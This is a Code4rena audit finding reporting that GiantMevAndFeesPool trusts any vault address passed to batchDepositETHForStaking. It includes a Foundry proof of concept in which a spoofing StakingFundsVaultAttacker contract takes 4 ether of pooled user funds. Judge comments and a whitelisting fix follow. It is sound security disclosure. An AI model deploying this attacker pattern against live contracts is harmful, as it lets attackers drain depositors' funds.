Platform: Code4rena
Start Date: 11/11/2022
Pot Size: $90,500 USDC
Total HM: 52
Participants: 92
Period: 7 days
Judge: LSDan
Total Solo HM: 20
Id: 182
League: ETH
Rank: 89/92
Findings: 1
Award: $11.19
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Jeiwan
Also found by: 0xdeadbeef0x, 9svR6w, JTJabba, Lambda, Trust, arcoun, banky, bin2chen, bitbopper, c7e7eff, clems4ever, datapunk, fs0c, hihen, imare, immeas, perseverancesuccess, ronnyx2017, satoshipotato, unforgiven, wait
11.192 USDC - $11.19
Loss of all user funds in the GiantMevAndFeesPool contract. This occurs because the batchDepositETHForStaking
trusts the staking funds vault contract that is passed in is not malicious
I've created a PoC using foundry to demonstrate this issue. I created a malicious StakingFundsVault
contract which spoofs the liquidStakingNetworkManager
with a valid one. The attacker is then able to withdraw all the idle funds in the pool into the attack contract.
contract StakingFundsVaultAttacker { ILiquidStakingManager public liquidStakingNetworkManager; constructor(address _liquidStakingNetworkManagerAddress) { liquidStakingNetworkManager = ILiquidStakingManager(_liquidStakingNetworkManagerAddress); } function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable { } } function testBatchDepositETHForStakingMev() public { address mevUser = accountThree; vm.deal(mevUser, 24 ether); // Deposit ETH into giant savETH vm.prank(mevUser); giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether); // Deploy ETH from giant LP into savETH pool of LSDN instance bytes[][] memory blsKeysForVaults = new bytes[][](1); blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne); uint256[][] memory stakeAmountsForVaults = new uint256[][](1); stakeAmountsForVaults[0] = getUint256ArrayFromValues(0); StakingFundsVaultAttacker sfvAttacker = new StakingFundsVaultAttacker(address(manager)); giantFeesAndMevPool.batchDepositETHForStaking( getAddressArrayFromValues(address(sfvAttacker)), getUint256ArrayFromValues(4 ether), blsKeysForVaults, stakeAmountsForVaults ); // Attacker contract should not be able to get access to user funds, but this test passes assertEq(address(sfvAttacker).balance, 4 ether); }
I found a similar issue with the GiantSavETHVaultPool
contract and similarly I would recommend whitelisting the SavETHVault
contracts that are called here.
#0 - c4-judge
2022-11-20T21:43:21Z
dmvt marked the issue as duplicate of #36
#1 - c4-judge
2022-11-29T15:33:12Z
dmvt marked the issue as satisfactory
#2 - C4-Staff
2022-12-21T05:40:16Z
JeeberC4 marked the issue as duplicate of #36
#3 - liveactionllama
2022-12-22T08:48:56Z
Duplicate of #251